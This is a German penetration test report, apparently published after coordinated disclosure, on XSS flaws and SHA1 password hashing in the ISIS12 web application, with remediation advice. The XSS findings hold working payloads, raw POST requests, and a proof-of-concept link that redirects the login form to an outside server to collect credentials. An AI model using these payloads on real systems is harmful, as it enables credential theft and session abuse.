Dieser Penetration Test wurde durchgeführt von Patrick Eisenschmidt.
Inhaltsverzeichnis
- Timeline
- Dokumentenversion
- 1. Einführung
- 2. Technische Umgebung und Randbedingungen
- 3. Kategorisierung der Schwachstellen
- 4. Findings
- 4.1. XSS (Cross Site Scripting)
- 4.2. Benutzung eines schwachen Algorithmus zur Berechnung von Kennwort-Hashes
Timeline
Zeit | Beschreibung |
---|---|
08.01.2019 | Bericht an den Ansprechpartner der Hochschule gesendet |
09.01.2019 | Bericht wurde an den Hersteller gesendet |
10.01.2019 | Hersteller hat den Bericht an den Entwickler weitergeleitet |
31.01.2019 | Erneute Kontaktaufnahme um aktuellen Status zu erfahren |
31.01.2019 | Hersteller bestätigt, dass in Version 1.3.4 alle gemeldeten Schwachstellen geschlossen wurden |
27.02.2019 | Veröffentlichung des Berichts unter folgender Webseite https://secdude.de |
Dokumentenversion
Version | Author | Datum | Kommentar |
---|---|---|---|
0.1 | Patrick Eisenschmidt | 01.12.2019 | Initiale Version |
0.2 | Sachar Paulus | 09.12.2019 | Dokumenten-Review |
0.3 | Patrick Eisenschmidt | 08.01.2019 | Ergänzung von Empfehlungen |
0.4 | Patrick Eisenschmidt | 27.02.2019 | Ergänzung der Timeline |
1. Einführung
Die Webapplikation „ISIS12“ in der Version 1.3.3.1 wurde von der Hochschule Mannheim zur Verfügung gestellt und im Rahmen eines Projektes von Patrick Eisenschmidt einem Penetration Test unterzogen. Ziel dieses Penetration Tests war die Identifizierung von Schwachstellen und die Ausnutzung derselben, um die Sicherheit der Software zu testen.
Der Penetration Test wurde am 01.12.2018 in der Zeit von 10:00-16:00 Uhr durchgeführt. Die IP’s, der in diesem Test relevanten Geräte, sind die Folgenden.
- IP des Penetrationtesters: 127.0.0.1
- IP des Webservers: 127.0.0.1
2. Technische Umgebung und Randbedingungen
Die Software wurde auf einem von der Hochschule Mannheim dafür vorgesehenen Server nach der beigelegten Anleitung vom Bayerischen IT-Sicherheitscluster e.V. installiert.
Im Folgenden ist der Webserver, auf dem die Software läuft, mit Versionen der installierten Programme und besonderen Einstellungen, beschrieben.
- Ubuntu SMP Mon Sep 24 16:19:09 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
- Apache/2.4.29 (Ubuntu)
- PHP 7.2.10-0ubuntu0.18.04.1 (cli) (built: Sep 13 2018 13:45:02) ( NTS )
- PHP.ini wurde um die im Handbuch angegebenen ‘max_input_vars = 10000’ und ‘default_charset = “ISO-8859-1″‘ angepasst
- Die Dateien wurden ausschließlich in das “/var/www/html” Verzeichnis kopiert. Es wurden keine weiteren Anpassungen bezüglich NGINX vorgenommen.
3. Kategorisierung der Schwachstellen
Die gefundenen und im Folgenden detailliert aufgelisteten Schwachstellen werden nach einem festen Schema bewertet. Das Schema soll dem Leser erleichtern, die Schwachstellen einzuschätzen und die daraus abzuleitenden Maßnahmen korrekt zu priorisieren. Das Schema benutzt folgende Attribute:
Name | Erklärung |
---|---|
Kategorie | Die Kategorien sind nach dem Mitre-CWE-Schema definiert. Das Schema ist unter https://cwe.mitre.org/documents/schema/ einsehbar. |
Einstufung | Die Einstufung gibt an, wie schwerwiegend die Schwachstelle ist. Niedrig: Schwachstelle widerspricht gängigen Sicherheitsstandards, stellt aber für sich genommen kein relevantes Sicherheitsproblem dar. Kann in Verbindung mit anderen Schwachstellen nur unter besonderen Umständen die Sicherheit des Systems gefährden. Mittel: Sehr ähnlich zu der Einstufung ‘Niedrig’, allerdings kann die Schwachstelle in Verbindung mit anderen Schwachstellen schnell ein schwerwiegendes Sicherheitsproblem ergeben. Hoch: Stellt für sich genommen ein ernsthaftes Problem für die Sicherheit des Systems dar. Vertraulichkeit, Integrität oder Verfügbarkeit sind ernsthaft gefährdet. Sollte schnellstmöglich behoben werden. |
Auswirkung | Was kann der Angreifer durch Benutzung der Schwachstelle erreichen? Z.B. System herunterfahren, Passwörter oder Datenschutz-relevante Daten stehlen, Webseiten entstellen etc. |
Empf. Maßnahme | Technische Maßnahme zum Beheben oder verhindern der Schwachstelle. |
Notwend. Angreifer-Niveau | Gibt an, welche Fähigkeiten der Angreifer haben muss, um die Schwachstelle auszunutzen. Hierbei wird unterschieden: Anfänger: Angreifer hat nur rudimentäre Kenntnisse von Software-Sicherheit, ist aber geübt in der Benutzung von Werkzeugen wie z.B. sqlmap. Professional: Angreifer hat solides Wissen über Software-Sicherheit und Ausnutzung von Schwachstellen und gute Kenntnisse der Werkzeuge dafür. Experte: Angreifer ist Professional und zusätzlich in der Lage, Exploits für bekannte Schwachstellen zu entwickeln bzw. durch Quellcode-Analyse neue Schwachstellen zu finden. |
4. Findings
4.1. XSS (Cross Site Scripting)
- Manipulation des Parameters Screengröße im Loginformular
Kategorie | CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) |
Einstufung | Mittel |
Auswirkung | Auslesen der Webseiteninhalte wie der UUID oder Ausführung von priviligierten Aktivitäten wie dem Ändern von Inhalten |
Empf. Maßnahme | Die eingegebenen Information auf einen numerisch Wert prüfen (z.B.: via Regulären Audrücken oder der PHP-Funktion is_numeric() ) |
Notw. Agreifer-Niveau | Anfänger |
Pfad | /index.php |
Die Schwachstelle ist vom XSS Typ 1 (Reflected XSS). Das bedeutet, dass der Schadcode nur einmalig beim Client ausgeführt wird.
Auf der Login Seite ist es möglich den Parameter APP_WIDTH
wie folgt zu verändern und somit unberechtigte Aktionen, wie das exportieren von Daten, auszuführen.
Im Folgenden ist ein beispielhafter POST Parameter zum Ausnutzen der Schwachstelle aufgeführt:
USERNAME=admin&PASSWORD=admin&APP_WIDTH=1280%3B%7D%3C%2Fstyle%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
- Manipulation der Aktion des Login Formulars durch URL Parameter
Kategorie | CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) |
Einstufung | Mittel |
Auswirkung | Diebstahl von Benutzerdaten |
Empf. Maßnahme | Die Aktion des Formulares nicht dynamisch aus der URL generieren. Hinzufügen von Sicherheitseinstellungen (z.B.: Same-Origin Policy, Content-Security-Policy) zum Handbuch für die Bereitstellung der Webseite. |
Notw. Agreifer-Niveau | Anfänger |
Pfad | /index.php |
Die Schwachstelle ist vom XSS Typ 1 (Reflected XSS). Das bedeutet, dass der Schadcode nur einmalig beim Client ausgeführt wird.
Die auszuführende Aktion im Login-Formular kann mithilfe von URL-Angaben manipuliert werden um z.B. Logindaten zu stehlen.
http://127.0.0.1/index.php/%3E%3Cscript%3Ealert(1)%3C/script%3E
Proof of Concept: Stehlen von Benutzerdaten mithilfe eines Links
Mithilfe des folgenden Links ist es möglich Zugangsdaten abzugreifen. Sobald man auf den Link Login drückt, wird man auf die originale ISIS12 Seite weitergeleitet. Sobald man nun die Zugangsdaten eingibt und diese abschickt, werden die Daten dem Angreifer mitgeteilt und der Nutzer wird, wie vorher auch, angemeldet.
Dafür benötigt der Angreifer nur einen Webserver auf den die Daten geschrieben werden und der anschließend wieder auf die legitime Seite weiterleitet und den Nutzer anmeldet.
Die Beispiel URL des Schadcodes könnte wie folgt aussehen:
http://127.0.0.1/index.php/><script>document.getElementsByTagName("form")[0].action="https://poc.secdud.es/redirect.php";</script
Die Benutzerdaten können anschließend auf dem Server des Angreifers eingesehen werden:
http://poc.secdud.es/uploads/creds.txt
- Manipulation des POST Parameters für die Seitenposition
Kategorie | CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) |
Einstufung | Mittel |
Auswirkung | Auslesen der Webseiteninhalte wie der UUID oder Ausführung von priviligierten Aktivitäten wie dem Ändern von Inhalten |
Empf. Maßnahme | Die eingegebenen Information auf einen numerisch Wert prüfen (z.B.: via Regulären Audrücken oder der PHP-Funktion ‘is_numeric()’) |
Notw. Agreifer-Niveau | Anfänger |
Pfad | /index.php?UUID=72fa8f09c06b63b16fb4eb185109ba74&id=1 |
Die Schwachstelle ist vom XSS Typ 1 (Reflected XSS). Das bedeutet, dass der Schadcode nur einmalig beim Client ausgeführt wird.
Der Parameter scrollpos
kann in der Anfrage abgeändert und anschließend wird er auf der Webseite im Kopf der Webseite (genauer “script” Bereich) ungefiltert ausgegeben. Somit können Daten entwendet werden.
POST /index.php/index.php?UUID=8b5c03cb2650582072b2e2de3d0d3c0c&id=1 HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://127.0.0.1/index.php/index.php?UUID=72fa8f09c06b63b16fb4eb185109ba74&id=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 621
scrollpos=0
- POST Parameter
Kategorie | CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) |
Einstufung | Mittel |
Auswirkung | Auslesen der Webseiteninhalte oder Ausführung von priviligierten Aktivitäten |
Empf. Maßnahme | Ausschließlich Informationen mitschicken, welche auch verändert werden sollen. Input und Output nach Sonderzeichen rekursiv filtern und den Text von Elementen nicht interpretieren lassen. |
Notw. Agreifer-Niveau | Anfänger |
Pfad | /index.php?UUID=72fa8f09c06b63b16fb4eb185109ba74&id=1 |
Die Schwachstelle ist vom XSS Typ 2 (Persistent XSS). Das bedeutet, dass der Schadcode im Program abgespeichert wird und somit jeden Client der diesen Bereich besucht gefährdet.
Alle Parameter werden ohne überprüfung abgespeichert. Somit kann jeder Parameter einen Schadcode enthalten und er wird ausgeführt.
POST /index.php/index.php?UUID=8b5c03cb2650582072b2e2de3d0d3c0c&id=1 HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://127.0.0.1/index.php/index.php?UUID=72fa8f09c06b63b16fb4eb185109ba74&id=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 621
scrollpos=5h0ta54t4f&frage%5b0%5d=<script>alert("XSS")</script>die+Unternehmensleitlinie+f%fcr+Informationssicherheit+fertiggestellt%3f&frage%5b1%5d=Hat+die+komplette+Unternehmensleitung+die+Leitlinie+abgezeichnet%3f&frage%5b2%5d=Wurde+der+Stellenwert+der+Informationssicherheit+bezogen+auf+die+spezifischen+Unternehmensziele+dargestellt%3f&rev_van=Sachar+Paulus&frage%5b3%5d=Wurde+der+Geltungsbereich+der+Leitlinie+festgelegt%3f&frage%5b4%5d=Wurde+ein+%28neuer%29+Revisionstermin+gesetzt+und+eine+verantwortliche+Person+benannt%3f&rev_dat=555-555-0199@example.com&antw%5b0%5d=on&action=&antw%5b1%5d=on&antw%5b2%5d=on&antw%5b3%5d=on&antw%5b4%5d=on
4.2. Benutzung eines schwachen Algorithmus zur Berechnung von Kennwort-Hashes
Kategorie | CWE-916: Use of Password Hash With Insufficient Computational Effort |
Einstufung | Mittel |
Auswirkung | Leichtere Brechbarkeit des Schutzes durch ein Hashing-Verfahren |
Empf. Maßnahme | Verwendung von BCRYPT |
Notw. Agreifer-Niveau | Professional |
Pfad | – |
Die Passwörter werden unter /data/tmp/passwd SHA1 gehashed abgespeichert. Es ist seit einigen Jahren bekannt, dass leistungsfähige und gleichzeitig kostengünstige Hardware existiert, die Milliarden SHA1-Hashes pro Sekunde berechnet. Dies rückt die Erprobung von sehr großen Wörterbüchern in den Bereich des Möglichen auch für Angreifer mit beschränkten finanziellen Mitteln.
Weitere Posts zum Thema Web-Security und Penetration-Testing
NET100 – Perfect hit
This was a quite easy but fun challenge.It’s about extracting data from a pcap file with SIP communication captured. If we take a look at the .pcap we see some SIP communication which can be easily inspected via the setting “Telephonie” in Wireshark. With that, we can see that there are two calls and one…
WEB200 – The rocket clock
This challenge was a web challenge. A PHP code to inspect and to tell what’s the problem with it and then exploit the weakness in the servers running this application. At first, I tried to take a look at the input which is controlled by the user. This is where we can manipulate and send…
MSC100 – Base32
MSC100 – Base32 This one was harder for me. Made some bad mistakes at the beginning which really left me clueless. The description was that someone encrypted text with base32 but did something wrong. So I tried to decrypt it with some online decoders but they all went crazy because of characters which are not…
WEB100 – XXE Denial of Service
This challenge was the usual XXE attack called entity injection with the goal to crash the server. This reminded me of the old but good billion laughs attack. With this attack, your recursive include entities which include further entities to overload the RAM of the XML parser and crash the program.To execute the attack we…
CRY100 – Decrypt this text
This challenges is about decrypting the text inside a file. At first, it does not pretty good. Most characters are not printable or just jibberish.Sadly I can’t remember correctly what the description said (have to write it down next time) but I guess something about the text is XOR’d and the key has to be…
Penetration Test Report ISIS12
Dieser Penetration Test wurde durchgeführt von Patrick Eisenschmidt. Inhaltsverzeichnis Timeline Dokumentenversion 1. Einführung 2. Technische Umgebung und Randbedingungen 3. Kategorisierung der Schwachstellen 4. Findings 4.1. XSS (Cross Site Scripting) 4.2. Benutzung eines schwachen Algorithmus zur Berechnung von Kennwort-Hashes Timeline Zeit Beschreibung 08.01.2019 Bericht an den Ansprechpartner der Hochschule gesendet 09.01.2019 Bericht wurde an den Hersteller…
Untersuchung der Kommunikation der App UniNow
Die Kommunikation der App UniNow wurde von Patrick Eisenschmidt auf personenbezogenen / datenschutzrelevante Daten geprüft. Dein ganzes Studium immer dabei. Mit UniNow hast du alle wichtigen Informationen rund um dein Studium in nur einer App! Egal ob Noten, deine Mails oder deinen Stundenplan – du hast alles immer und überall dabei! Inhaltsverzeichnis Dokumentenversion 1. Einführung…